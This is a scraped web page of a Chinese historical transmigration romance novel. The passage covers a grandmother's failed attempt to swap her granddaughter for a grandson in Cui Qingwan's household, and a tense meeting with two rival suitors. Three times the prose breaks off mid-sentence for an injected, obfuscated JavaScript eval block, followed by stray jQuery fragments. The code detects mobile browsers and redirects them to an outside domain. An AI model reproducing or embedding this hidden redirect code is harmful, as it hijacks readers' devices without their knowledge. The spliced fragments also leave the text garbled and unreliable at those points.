一头银白发丝,干枯蓬乱得像路边开着的蒲公英,风一吹,就能纷纷扬扬地四散飘离——这便是“崔清婉”对那佝偻老妪产生的第一印象。
崔府侧门窄小些,门槛却仍旧高立,老妪蹒跚着跨过后,便撑着力气,强行将随行的孩童拖抱过来。
那孩子不过七八岁的年纪,穿着一身刚被浆洗过没多久的麻布衣裳,看上去很是乖巧干净,他紧绷着小脸儿,也不说话,就一昧地盯着地面。
在他那双因玩耍而有些灰扑干巴的小手里,一边拽着做工尚可的小布偶,一边攥着还算完整的糕点。
在被老妪架着抱起来时,他挣扎般地拧了拧身子,最终还是无可奈何地被压了过来。
“别傻站着!快给娘子大人叩头!”
老妪边赔着笑脸边压着男童的肩头,直到双双跪倒在地。
“娘子大人,您看老身这孙儿,实在乖巧伶俐,娘子宅心仁厚,就收了吧……”
收了?收作什么?
看着老妪虔诚又精明的眼睛,“崔清婉”实在不清楚她叽里咕噜地神叨些什么,可人是自己下令放进来的,她有义务处理好问题。
“先起身。”
她想要搀扶祖孙二人,但顾忌身边人,只能在迈了半步后站在原地,面上抑着矜持。
“这位阿婆,你将不妨将事情交代得更明白些,我与你不过初次见面,为何要提这般要求?听门子说,你在这儿已等了两天?”
“不不不,娘子大人金贵,老身怎么能叫做等呢,老身是借着高门大户的荣光洁身,不然留一身腌臜气,冲撞到娘子大人就不好了……”
站起身来的老妪躬着身子,不住地弯腰致敬,见锦衣华服的娘子说话亲和,她淡灰色的眼睛掩饰不住地狂喜。
“崔清婉”见状,心中若有所思,但她仍维持着一贯模样,守在她身边的几人皆是戒备神情,丝毫未因为来者是一老一幼就放松警惕。
“老身从我家女子那儿听说的,说娘子救了老身那落水的外孙,又觉有缘,收了我外孙女到娘子府上做学徒。”
老妪笑得更加谄媚了,她挪动着步子朝前半步,同时用手托着身旁男童的后脑勺也带得近了些。
“说话便说话,靠那么近——”
云岫终是沉不住气,她站出身来欲要阻挡靠近的老妪,却不想被对方接下来的话震在原地。
“可小女儿家家怎么比得上男娃娃?终究是个不顶用的,再过上几年她也该嫁人了,更靠不上,娘子大人不如让老身孙儿将她替下,我孙儿乖巧非常,娘子倒时定然心生喜欢。”
从最初窥听到门外对话的不明所以,到如今已然猜了个七七八八,“崔清婉”渐渐拧起眉头,但她还是不动声色,她需要片刻思量来决定这老妇人的提议。
原本打算阻拦的云岫也听明白了些许,只要确保对方不具备伤害自家四娘的念头,在其他方面她还是很好说话的。
自小便跟随在崔家四娘子身边,以云岫的想法,老妪所求之事并不算难,可她不能想当然地行事,于是云岫侧首回看自家四娘,犹豫着开口。
“这……娘子?”
见状,“崔清婉”幅度很小地摇摇头,如果是为了学门手艺,其实她倒也愿意为一个小孩子安排一下,哪怕不是去二嫂嫂的病坊,去其他药馆也是可行的。
可这老妇人非说一个“替”字,让她心里膈应。
“您老好没来由的话。”
看出她的迟疑,晴眉眼珠子一转,径直走到老妪面前。
“我家娘子是为人和善,可您也不能平白提出这样的要求,单只说您没交代名姓,这我们怎敢答应?素日里总有些想吃白饭的,借着诓人的话就要求好处,您平心而论,这合适吗?”
“不不,这当然不行……”
老妪赔着笑脸再度弯下身去,她眼角下垂的纹路带着几分尴尬怯意,可半上挑的目光又有几分势在必得。
只见这老妇人摸索着从怀里取出一个小布包,随着层层解开,一方小巧的漆木盒子赫然躺在老妪手中。
一旁默不作声的崔皓月双手环胸,他歪歪脑袋,没有吱声,眼前场景对他而言显然没有插话的余地。
只有盯着老妪动作的另外三人,此刻彼此对看了一眼——这漆木盒子是安雅小丫头留宿那晚盯着好奇,而后在出灼玉苑前晴眉特意向“崔清婉”请示后送她的。
“这是我外孙儿从娘子大人府上得来的,我日日带在身上,就为见了娘子大人有个凭证。”
“原来是安雅的外祖母,”云岫此时也察觉到自家娘子的不情愿,于是她走上前去,唇角含笑面上却满是威严。
“不知您方才是何意?我们崔家是看中安雅伶俐,这才将她收用,您今日所言太不合情理了。”
“是是。”
老妪又垂下头,态度一贯低弱:“这位娘子说得是,但娘子穿金戴玉惯了,想必不了解我们乡里人的习俗,这女娃娃啊,养到十二三就得议亲,最迟也不能推过十六……”
“你是想说‘嫁出去的女儿泼出去的水’?”
站在云岫侧后的“崔清婉”皱着眉头道出这样一句话,她眼帘低垂,遮掩着自己的目光,即便她对古代早婚早育已有了解,可如今老妪所言,还是让她本能地反感。
“对!对!”
简直像被说到心坎上,老妪一下直起身,灰白色的双眼溢出欣喜的光,连带一脸的皱纹都舒展了不少。
要不是被云岫半倾的身子又挡了一下,只怕她要冲上前去抓住“崔清婉”双手兴奋地拍摇几下。
“这女子出嫁,就是夫家的人了,哪儿还能顾得上我们?娘子大人聪明,一下就明白老身的意思,我们安家清贫,但也是十里八乡有名的踏实人家,如今得遇娘子大人这位贵人,自然是该抓紧机会。”
“呵,抓紧机会,”崔皓月在身后轻轻碰了碰“崔清婉”,一副看热闹不嫌事大的神情,“我原以为这种事只有三哥会碰上,没想到四姐可以重现,真是无巧不成书啊。”
没有理会崔皓月的挪揄,“崔清婉”眼眸低转,说起话来还维持着方才的和气。
“人年岁一大,总想着为儿孙考虑,这我也是明白的,只是您大可再求一条出路,何必非揪着安雅小丫头的不放呢?再怎么说,她也是您的外孙——”
“哎呀,娘子大人,您还是没全明白老身意思!”
见清丽娘子意欲说和,老妪急得在原地跺了下脚,正巧身边男娃因无聊踢着石砖玩儿,她拉下脸朝男娃后背拍打几下,转瞬又尽力堆起一张谄媚笑脸。
“老身嘴笨,也不认识几个字儿,说起话来是糙,有不中听的地方娘子大人可多担待些……其实娘子大人的事儿我们乡里人也是听过零星半点儿,我们只道是娘子大人柔顺心善、有福神庇佑,才遇难呈祥……”
感受到紧挨着她的侍女因她所言而眉眼柔和了一些,老妪也松了一口气,她转转狭小而精明的眼珠后继续开口。
“您说看重老身外孙儿伶俐,但我今日带来的娃娃是她堂兄弟,更是差不了,只不过年岁尚小,有点怕生。待娘子大人您将养上几年,他必定能换个模样,和世家公子哥儿差不了多少。”
“将养几年?”
说话的是崔皓月,他打量几眼那男童,又看看自家四姐,最后带着冷意的笑看向老妪。
“我记得安雅只是来我们崔家病坊做工,也不曾签下身契,您怎么会想要让我四姐养你孙儿?我可觉得我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030507|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四姐有我这么一个弟弟就够了。”
许是有两三人的阻挡,老妪并未看清说话男子的神情,她只是偷瞄了一眼对方穿着,而后又换上恭维之词。
“不愧是娘子大人的兄弟,小郎君果然气度不凡,能得见郎君这样的人物,老身真为方才之言羞愧,老身不敢奢求,只要孙儿来日能得郎君十分之一的模样,老身就死而无憾了……”
“夸耀我最无用,不说清你的目的,你可别指望能为你的孙儿谋取到半点前程。”
崔皓月眯起眼睛,语气不善。
“我四姐性子柔顺,总有歹人想仗势欺人,若你今日敢得寸进尺,可别怪我无情。”
“郎君这是说哪里的话,娘子大人心眼好,我们爱戴还来不及呢,怎会得寸进尺?”
“收起废话!”
“是是。”
老妪毕恭毕敬,笑得越发谄媚。
“其实老身也是为了娘子大人考虑,娘子大人已是离妇,身边再无陪伴之人,膝下无儿女,想必日子也是苦闷,娘子大人不如收老身孙儿做义子,既合娘子眼缘,又能调教着帮娘子打理家业,还能挽回桓王大人的心……”
“放肆!”
“痴心妄想!”
“你真是老得不省事儿了!”
接连的呵斥声一下打断老妪,连她身边的男童都惧色更重。
老妪显然没搞明白为何方才还和善的崔家人怎么突然变了脸色,她原本对这趟出行很有自信,以她的想法,是个成过婚的女人就该乐得接受,怎么她能被这么对待。
“这……要是娘子大人不满,把这孩子改成‘崔’姓也是能的……”
“能什么!我家娘子需要你所谓的好心吗?!”云岫怒喝。
“娘子大人没有儿子,这才被废弃,老身都是为了娘子大人考虑,娘子大人貌美柔顺,再添个养子,桓王大人会回心的……”
老妪嗫嚅着准备再辩解几句,她身旁的男童却因为惊惧藏在了老妪身后,七八岁的孩子并不是什么都不清楚,但也不至于完全了解大人间的利益勾当,他只是下意识想要逃离。
“大母,不要在这儿,我们不是要去找雅姐姐吗……我们走吧……”
“听话!大母这是为你好!你没看到娘子大人多么温柔吗?再说不能好处都让那个丫头片子得了,之前大母怎么交代你的?快和娘子大人说!”
老妪拉拽着男童想要再次跪拜,一副不达目的不罢休的姿态。
明明被闹剧烦得心焦,可“崔清婉”却在面上没有太大情绪波动,她像是早就预料到一样,冷着脸朝不远处观望的门子们招招手。
看到两三小厮走来,还不等“崔清婉”开口,崔皓月先是不耐烦地下令:“都驱出去,往后不许她们靠近府门半步。”
“喏。”
“喏。”
小厮们的职责就是守着府门,形形色色的人都见过,这时听到吩咐,动起手来也是利落,三下五除二便把还在讨好的老妪围赶着驱了出去。
朱红色的侧门再度关闭,隐隐听见府外有一队人马赶来,许是察觉到动静的桓王府府兵吧。
而在斥责声中自然还夹杂着老妪沙哑的讨饶。
“娘子大人——你无儿无女,往后可怎么办呀——老身是真心担忧娘子大人啊——娘子大人我孙儿比那丫头强多了娘子——”
……
“吩咐下去,驱赶即可,不要伤了这祖孙二人。”
尽力忽视外界干扰,“崔清婉”向身边人嘱咐这么一声,见晴眉前去嘱咐,她似乎想说些什么,却又闭紧双唇,没有再开口。
沉默良久后,她终是轻叹一口气,而后一字一顿地说道——
“对不起。”
47.搬起石头
“对不起。”
沉默许久的“崔清婉”突地冒出这句话,惹得崔皓月满脸疑惑。
崔皓月三步并两步走到她身前,左看看右看看,最后伸出手在她面前晃了又晃。
“不应该啊,之前面对醉汉还能镇定自若,怎么见一老妇就失魂落魄成这个模样?莫非是刚刚被下咒了?晴眉,都怪你没上前去,单云岫一个挡不住我四姐。”
刚嘱咐完门子的晴眉才将将走到几人身侧,一听到四郎君这般言语,她茫然地愣了愣神,接着不安地向云岫看去。
“啊?云姐姐……”
“既是郎君教训,就好好听着,下次你我得护紧四娘,不能让这种宵小之徒再有近身机会,另外——”
云岫话语一顿,转而朝“崔清婉”一施礼,接着俯身轻言。
“四娘,可要我派人给安雅家一些警示?”
如大梦初醒般,“崔清婉”的目光闪过一瞬沉痛,她的脸上也浮现出近似于某位熟人的苦笑:“不必,此事与安雅家无关,不必惊吓他们……阿月!”
“怎么?四姐有什么事?”崔皓月凑近些,和着眉间痣,一张俊脸怼到对方面前。
“就先不叨扰曲娘子了,我们换个时辰再去。”
“成,四姐怎么安排都成,那四姐现在想做什么?”
“带我去个清净的地方吧,不要再靠近门墙,我总会惹出这些事端。”
“惹就惹了嘛,四姐怎么还为这个难过,之前怒斥杜玉姿的神气去哪儿了?四姐的脾气可不能时灵时不灵啊……”
口中还是打趣之语,但崔皓月还是率先动身,领着“崔清婉”朝府内走去。
长廊石路,花草流水,崔府有崔三娘子打点,处处都显精致,只是在面对相似却不同的景色时,她还是保持沉默,不再显露出半点情绪。
她开始反思起自己的所行所为。
其实是有预感,大抵是从意外听到墙外的只言片语起便有了一些猜测。
可她总是不忍,她的本性驱使她要对每一个未知的人抱有最大善意,而她的性格又总让她避开争端,她并非纵容歹人,她只是在难过。
也许更多还有一种无措吧,她的内心有一种难以排解的失望,失望于他人并非她预想的那般善良,她甚至为此产生了一丝逃避心理。
“很抱歉……方才分明应当由我下令驱逐,可让你们做了恶人,而我却缩在后面假装仁善,往后我会改的。”
听闻她冷不丁的话语,崔皓月脚下一顿,惊诧、释然,本不相干的情绪在他面上迅速划过,待他以极快速度消化好后,脚下步伐又恢复寻常。
“听四姐姐这样说,我反倒是轻松许多。”
“嗯?”她不解。
“如此看来,四姐姐并非懦弱,只是不愿与人针锋相对,至于这恶人不恶人的,谁做不是做呢?又不是四姐强迫我们,我们这叫心甘情愿。”
崔皓月像是想起什么,又蓦地勾起嘴角。
“再者说,那门子还是四姐姐自己招手唤过来的,只不过是阿月嘴快,抢先一步下了命令,四姐姐啊,不是阿月多嘴,你这样可真让我担心……”
“担心?”她抬眼看向崔皓月,见对方明眸弯弯,丝毫未有紧张之意,只当对方是在打趣自己,勉强一笑,“那不知阿月担心我什么?”
“担心四姐拘束自己,嘴太慢,在宴会上还没吃几口,便发现碗碟皆空。又怕引起争论,只一人憋着,最后饿到气力全无、半晕过去,直接惊吓四座!醒后还只能小声说‘对不起,对不起’的。”
崔皓月说到兴头还演了起来,那眉头一皱,声音一哽咽,仿佛不是在假设,而是在场景重现。
但不得不说,崔皓月是有些天赋,捏着嗓子说“对不起”时还真像“崔清婉”方才的语调,惹得对方好气又好笑,最后只能是无奈摇头。
“哈,你啊……”
眼见她无奈轻笑,崔皓月更是眉头一挑,拽着她衣袖躲到长廊的阴影下。
“哎,四姐可别不当回事,我不是夸大其词,连三哥临行前都一再嘱咐我,要我多照顾四姐,说四姐嗯……对,说四姐‘自醒后心思纤巧,温良尤甚,恐自省伤神,他不在时,要代他时时宽慰’。”
“这话说得,仿佛他在时常常——”
话说一半,她又想起那段恼人的直白倾诉,当然,还有因此产生的吞吞吐吐。
“罢了,说这个做什么,怪难为情的,有他托人带回的奇物,已足够我赏玩好一阵儿了。”
“确实,嗯……四姐?”崔皓月掏出火齐珠在手里掂了两下,而后声音不自觉地放软几分,“等行动不受约束了,四姐的火齐珠能否借我观赏几天?”
她略一沉吟,点点头:“行啊,反正比起火齐珠,其他小玩意儿我更感兴趣,不过你可别给珠子磕碰坏了,你说过的,有价无市,很贵的。”
“放心放心,我自有分寸。”
“果真?可清早那会儿是谁把火齐珠随手丢掉的啊?”
“谁?是谁这么不开眼!”
……
嬉闹斗嘴间,众人都很有默契地不再提及方才的不愉快,于是又如往常般,捱到午膳过后,各自回院小睡片刻。
她自然是没有睡着。
该说是惆怅,还是说是担忧?
之前在面对杜玉姿或是李澈时,不论对方做的事多么令自己讨厌,可她总能在事情结束后很快抽离,因为她知道,他们所言所行不是冲自己而来,是冲崔清婉这个身份来的。
可因自己救人而产生的一连贯事件呢?
安雅的意外造访是救人后续,是由自己的行为带来的,但那醉汉呢?
醉汉也是因救人一事而延伸的意外,只是他不是冲自己来的,是冲崔清婉这个身份来的……
而不同的是,上午那位老妪既是冲自己、也是冲崔清婉的身份来的。
她的心底突然涌起无尽的悲哀与苦涩。
即便她已然做好准备暂且借用原身的身份地位,可当事情搅杂在一起,她又有什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038401|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么办法可以将二人区分得足够清晰呢?
仿佛走失在野外,精疲力竭瘫倒在地后被来往的蚁虫走兽不断啃食。
这种逐渐失去自我,而被强制套入陌生认知的感觉真的很窒息。
崔皓羿。
当这个男人的名字在心头乍现时,她感到呼吸一滞。
或许,有一天连自己都不太清楚自己是谁,但只有他还会记得自己是个陌生的“娘子”。
如此一想,她在悲哀中又多了几分欣慰。
罢了,思虑过多反而会束缚手脚,不如撇下些不适宜的共情,她可是答应过要为清婉娘子破局,养魂之事虽有些玄乎,但终有结束之日,她不能让清婉娘子复生后还心如死灰。
毕竟,她向来是最自尊自爱的,对似她非她的崔清婉,她自然也同样爱怜。
杂思被捋清,她往日的精气神又算恢复过来,等到日头不再浓烈,她才拖着慵懒的语调从榻上爬了起来。
嗯……反正可没人规定,不午睡就一定得起床,赖着不起也行咯。
看着云岫、晴眉伺候在自己身旁,又是擦脸又是梳发髻,她又开始觉得愧疚,同时还有对累赘的厌烦。
身为现代人的她能理解古人对仪表的严格,可现在属于是苛刻了吧?只不过午休了会儿,非得这么大张旗鼓地收拾吗?就不能简约些?而且又出不去崔府,非要重新妆点吗?
最可气的是云岫、晴眉根本不让自己插手,对,可以吩咐她俩,就是不能插手。
像个废物一般被收拾干净,她感觉自己的屁股都要坐死了,虽然没人强迫她一动也不动,可她秉持效率至上的原则,尽快弄完、好好配合才要紧。
“四姐!”
站在地上轻轻踏步缓解腿麻脚胀的“崔清婉”刚挪到屋门边上,一抬眼便看到脚步轻快的崔皓月闪进院内。
“怎么诶——”
不等她去问,崔皓月隔着她豆青色卷草纹的衣袖便擒住她手腕,拽着就朝院外走去,屋内收拾妆屉的两位侍女一对视,忙是加快手里动作,接着紧跟了出来。
青绿色的琉璃瓦片排列着目送姐弟二人,自院落到长廊,从石板路到木桥。
后来的“崔清婉”没有再继续发问,虽然不曾观赏过崔府整体的鸟瞰图,但她凭借印象,大概还是知道崔皓月要带自己前往何处——靠近崔府西侧的揽霞堂——是曲游欢回来了!
不知道什么的情绪表露才算得体,她此刻只觉得由衷高兴,没有掺杂其他的心思,她只为他人不会因自己受难而感到如释重负。
“知笙!游欢可否——”
挣开崔皓月抓握,刚走到揽霞堂院门前的“崔清婉”便提起襦裙兴冲冲闯了进去。
“哎四姐,有人在……”
见身旁青色身影掠过,崔皓月忙是伸手阻拦,可惜指尖都未碰到对方荡起的衣角,再想要开口阻拦时,尚未讲完便听得院内传来两声属于他四姐姐的惊呼——
“噫!你……”
“呀!你?”
48.竟然
按崔皓月的设想,他那四姐姐应当见到裴如信后惊慌无措、或者再来些磕磕巴巴的感谢。
可他没想到等他进了揽霞堂的院子时,见到的是那抹豆青色身影站在竹柳衣小郎官面前,甚至他四姐姐还咬紧下唇鼓起脸颊红了耳尖?
完了,他有点看不懂了。
“四娘子,人已送回,还请您费心安置。”
语罢,衣着讲究的中年男人朝“崔清婉”一施礼,又冲崔皓月半欠身,随后挨个向其他两位郎君作揖。
“各位在院中小聚时务请尽兴,仆需先行下退,前去回过主君。”
“烦请代某向崔侍中问好,另请带话,家父想约侍中于醉香楼一见,不知侍中何日有空闲。”
见吴管家告退,裴如信出声拦了下来。
“将军言重,裴老将军若想约见,下道帖子便好,何必您亲自来说。”
许是意识到什么,中年男子也是放松几分神色。
“至于将军所请,仆一会儿便告知主君,如有答复,必然尽早知会将军府上。”
“那也请代我问好,不过家兄可未有邀约托我带来。”
竹柳衣小郎官无辜且认真,与一旁的裴如信相比实在青涩乖巧。
“……喏。”
再度施礼后,吴管家便匆匆离去。
不知是不是“崔清婉”的错觉,她总觉得对方在面对穆飞柳言语时,似乎有那么几分不情愿。
不理解,难道穆飞柳还拉着吴管家私奔过?
……
不能细想,画面属实太美不敢看。
说到底,她也猜想过前几日崔皓昌口中的穆侍郎之弟是不是穆飞柳,可对于堂堂中书侍郎而言,给自己兄弟安排个清闲位高的官职还不难吗,至于让他的兄弟仍着青衣?
最重要一点是,那日小巷中,穆飞柳口口声声要他师父作主,从未提及什么兄长。
或许是家家有本难念的经,"崔清婉"这样想到。
“四娘子,奴能平安归来,全仰仗您与诸位贵人。”
几日不见的曲游欢又清瘦不少,明明是与穆飞柳相近的年岁,可他实在憔悴。
“不许跪拜,你此番遭劫皆是因我,救你脱身自是应该,至于其他人,我会好好谢过的。”
“崔清婉”略微仰看眼前高鼻深目的少年,摇着头阻止了对方下跪举动,随后又递了个眼神。
“你肯定有很多话要对知笙说,快去陪陪她吧,这几日她很担忧。”
只一瞬,曲游欢眼底翻涌起诸多情绪,但他终是含着热泪冲“崔清婉”点点头,而后转身朝站于屋门台阶一侧的曲知笙走了过去。
这两个没有血缘的孤儿,在从小被打被骂的日子里依偎在一起过活,她不敢想象,若曲游欢真因自己定罪被杀,她该怎么面对曲知笙。
按下心中苦闷,她尽力舒展开眉头,顶着得体笑意向身后的两位男子走去,微微颔首以示谢意。
“多谢裴将军关照,若无您出面,恐怕我家乐师还会被拘禁些日子。”
半含眼帘,她眼眸低转,关切而不逾矩地开口。
“听闻将军早年镇守边疆,严寒中仍在操练士兵,我虽养在京中,没什么见识,但想着若寒气入体,必是长久隐患,故而特向我二嫂嫂求得药酒,还望将军收下。”
“有备无患,某还要谢过你的体贴。”
意料之外的话语柔和,但当她抬眼看去,只见裴如信还是冰着一张坚毅面庞。
于是她垂下眼一笑,只当寻常,转而她又朝一旁因对比而显得甚为单薄的穆飞柳说道。
“前些日家兄还赞叹过穆小郎君,说小郎君回京后又晋官职,我在此祝贺郎君了。之前偶遇,掩饰身份乃无意之举,还望小郎君莫要见怪。”
“与娘子相见实为缘分,何况娘子所言并无虚假。”
穆飞柳眼波流转,还不等“崔清婉”反应什么,只听得他突兀一句。
“反正娘子确为单身,不如当日在下所提娘子就应下如何?”
“不行!”
不假思索、斩钉截铁,“崔清婉”突然就没了方才贤淑温和的模样。
“嗯?”
身前人的惊乍惹得裴如信垂眼相看,他微眯双目扫视了二人一番,终是不得要领,最后只能将疑问的视线投向了皱眉咬唇的“崔清婉”。
“某可不知,崔府除却四郎与穆家熟识,何时又添了你呢?”
“咳!意外相识,偶得一面,这不重要!”
马上打消对方想要深问的念头,“崔清婉”背过身去,借着交代晴眉来生硬转换话题。
“请沏壶热茶来,怠慢了客人可不行。”
“喏。”晴眉领命下去。
“今日辛苦两位来崔府一趟,不如先坐下歇歇,待我再唤他人取些糕点来,哦,是‘和兴斋’新出的糕点,两位总要尝尝。”
她思索着曾在自己父母那儿学过的待客之道,而后琢磨一番,将其换成此刻能用的话术。
“先不忙——”
裴如信似乎有话想说,但刚一开口便被截了话头。
“对!先不忙!”
仗着年纪小,穆飞柳说起话来也是轻快,他向前一步靠近,单纯又真挚,“我今日得见娘子,属实惊喜,既知娘子身份,娘子的事我也放在心上。”
“啧,无事献殷勤。”
崔皓月双手抱胸立在一侧,瞧见穆飞柳举动,暗暗翻了个白眼。
穆飞柳连身边极为高大的男子黑脸都不在意,至于熟识的崔皓月咋舌他就更不在意了。
狭长深邃的眼眸低垂,穆飞柳便将腰间锦囊解下,只一翻弄,就取出一柄金背玉梳。
“这应是娘子珍惜之物,现在物归原主。”
“啊……”
低声讶然,“崔清婉”小心接过,即便她并不清楚这金背玉梳对原身有多重要,但她还是颇感惊喜。
与此同时,她也不由得开口询问:“这梳子不是被那妇人收着,你是如何取来的?”
“公堂之上——”
裴如信又要开口,但再次被打断。
“娘子不曾前去听审,今日我果决断案实在英姿勃发,未被瞧见实在可惜……”
穆飞柳眉头一蹙就要作惋惜之态,察觉到身边高大男子不满地吐息,他又猛地抬眼,恢复如初见般纯然神情。
“哦!娘子不要觉得我在唬人,我虽着青衣,可今日却是圣人钦点的代京兆府尹。”
“如何?娘子之人我也送回,是否合娘子心意?”
“我……”她一时顿住,她想听的可不是这些。
“穆御史,”裴如信一手把在对方肩上,低沉嗓音已略显威胁之意,看来他也不是很擅长应付穆飞柳这种个性的人,“汝若只说这些,不如省些口舌。”
“可别说我不帮你,一会儿裴二哥揍你的时候,我会借你条汗巾咬住,省得叫出声来。”
不知崔皓月是不是习惯了穆飞柳这种讲话方式,他虽然一脸无语,却还能淡定走来朝着后者脚踝处虚踢两脚。
“另外,少在我四姐面前耍乖,赶紧说要事。”
所以真不怪一向喜怒不显的裴如信都有如此不满,就连熟识穆飞柳的崔皓月都忍不下他那乖张脾性,更别说秉持以笑待客的“崔清婉”了。
而且她对天发誓,她绝对没有戴有色眼镜。
她只是发自内心觉得,要是曲知笙无意间得罪了人,一定是因为对方生性空灵,不谙人情世故。
但穆飞柳这人绝不是!
能自如出入牢狱、还被任为代理京兆府尹的,能是什么省油灯?
“请穆小郎君直言,我确实在意那妇人一事。”还带着笑意,但她每一个字都格外加重。
“既是娘子心意所在,我自当遵行。”
穆飞柳一边情真意切地回应着,一边于脸颊飞出两抹绯红。
不是!说正事儿呢!你脸红个泡泡茶壶啊脸红!
“崔清婉”一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048269|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皱眉,自觉朝一侧闪了半步。
见状,裴如信的神色意外地缓和几分,那本搭在穆飞柳肩上的大手也松开来。
“今日公堂之上,那亡者发妻并未出堂,即便命衙役再三传唤,仍不见人来。”
“……嗯?”
她眉头皱得更紧,满脸不解看向穆飞柳。
“若按这般情形,自该是休堂再议,但碍于此事牵扯娘子,诸多贵人皆交代我尽快解决,我只好下令迁着堂案到亡者发妻居所再审。”
“啊?”
穆飞柳说得平淡,但她却属实震惊,难以置信的眼神递给裴如信,只见对方无奈颔首。
“非常期行非常事,这可是自我入朝后圣人特许,所以娘子,你我之事真的可以不告诉师父就——”
察觉到对方诧异神色的穆飞柳又来了精神,忙着就要扯私奔一事求认可。
“说正事!”
“哦……”
瞅见对方略有羞恼地打断自己,穆飞柳立刻泄了气,不过随即又恢复率真神情。
“其实不怪派出去的衙役迟迟未归,实在是情况难以预料,他们只能四下找人——毕竟那妇人连带孩童消失得了无痕迹,只留下个尚有人气儿的屋子。”
“而娘子的物件也被规整放在掉了漆的箱子上。”
绘声绘色的描述本该得到诧异回应,却由于讲述者三番两次的打岔,此刻只留一片寂然。
“崔清婉”的眉头就没松下来过,她垂下眼帘,想要猜想背后隐情,
而这时,裴如信却走上前来。
借着高大宽厚的身形,裴如信成功阻隔了身边几人的视线窥探,过于亲昵的距离此刻没有引起“崔清婉”的反感,因为她确切看见对方小心从袖间掏出一块碎布料。
按下心中惊疑,她极为隐蔽地将布料接过攥在手心。
认真疑惑的视线投去,裴如信只是用眼神拒绝了她的当场询问。
“裴二哥这是欺负我四姐柔顺,以魁梧身材施压吗?”
在看到裴如信迈步向前后,崔皓月便探着脑袋向他四姐方向看去,可左看右看,总是被挡着,最后还是凑前一步才明了。
“没有啦,只是——”
“某何时欺负过婉娘?四郎不该拿这打趣。”
???
婉娘?
不是啊大哥,这称呼是不是多少有点暧昧,我记得我们不熟啊?
她突然很想把手里攥着的碎布丢出去,赶紧撇赶紧关系。
但不想还在她纠结时,穆飞柳的开口又惹出一句更让她受不了的话——
“将军威猛健硕地挡在这儿,就是四娘子开口喊‘救命’,只怕我与含若也不好施救,不如这样,将军往后就另设轿辇,与四娘子隔着些距离?”
“阁下这是何意?是在唆使婉娘远离裴某吗?”
“裴将军多心,我不过是觉得四娘子方才康健,若被将军威压吓到,多得不偿失……想必将军也不想崔侍中再为此忧心吧?”
“汝慎言!休将朝堂之事牵扯此间!令兄应当告诫过汝,即便不为身后主,也不要得罪裴家。”
猛然转身后对视,即便她在裴如信的身后也能察觉到其陡升的敌意。
然而更古怪的是,迎着盯视仍在纯真浅笑的穆飞柳。
穆飞柳这人是性子天然跳脱些,说话做事也毫不拘束。
但裴如信可不是这样,就现今印象而言,裴如信怎么着也该压得住脾气,为人沉稳。
可现在他是什么回事?准确来问是,他二人怎么回事?
!
噢……依裴如信方才所言,这肯定是因为投身于不同势力,所以都在试探自己态度吧?
难怪二人总在有意无意间彰显与自己交好,还悄悄挤兑。
“崔清婉”一挑眉,又觉得自己是个精通人性的女讲师了。
于是她自信轻笑,缓缓开口:
“我说……你俩该不会都对我有所图谋吧?”
49.又搬石头
“我说……你俩该不会都对我有所图谋吧?”
此话一出,满院惊然,连与曲知笙泪眼对看的曲游欢都神情一怔,更别提一旁的其他人了。
晴眉拿不准主意,此刻端起来的茶壶放也不是,不放也不是,求助的眼神递向云岫,却发现对方根本不看自己。
而云岫此时却是难得地展露不加掩饰的笑颜,直勾勾盯着自家四娘,目光中还颇为自豪。
一旁本欲帮腔的崔皓月像在看好戏,他憋着笑,借着抚摸眉间浅痣的动作偷偷打量起裴如信。
正当他眯起双眸欲要开口调侃时,却意外察觉身侧的穆飞柳竟不似玩闹,目光烁烁格外认真。
于是他猛地瞪大眼睛、面色突变,接着狠狠挠了挠自己眉间,连浅痣变得鲜红欲滴也未停手。
至于被点名的两人——
裴如信很明显敛起方才对视的杀气,只是沉了脸色,可他又不气恼,反而格外严肃,即便朝服宽大,但还是能让人感觉到他因认真而紧绷抽动的肌肉;
与裴如信低压的气场不同,穆飞柳这边是一种格外飞扬的兴奋,但似乎兴奋过了头,以至于喉头急促滚动、气息不稳,连清秀白皙的面庞都映出一抹轻薄的粉色。
“果然没错,我感觉的到。”
不知该说“崔清婉”心思细腻,还是说她神经大条,明明院中气氛已经到了这个地步,但她并未停话,仿佛之前的经历是给她抓紧上了一课,让她此时好好运用。
“现下不妨明说,我如今的情况你们也知道,按理说,这事应当遵照我兄长的意思,但我不愿一昧听从安排,关于我的命运,这次我想自己做主。”
她转身朝揽霞堂院中的石凳坐下,接着胳膊支在石桌台边单手托起下巴,语气笃定,神采奕奕。
不就是和昔日两位陆家姐姐一样么?都在为背后势力来试探我,就是不知这两位分别投靠在崔皓羿所说的哪位郡王麾下……
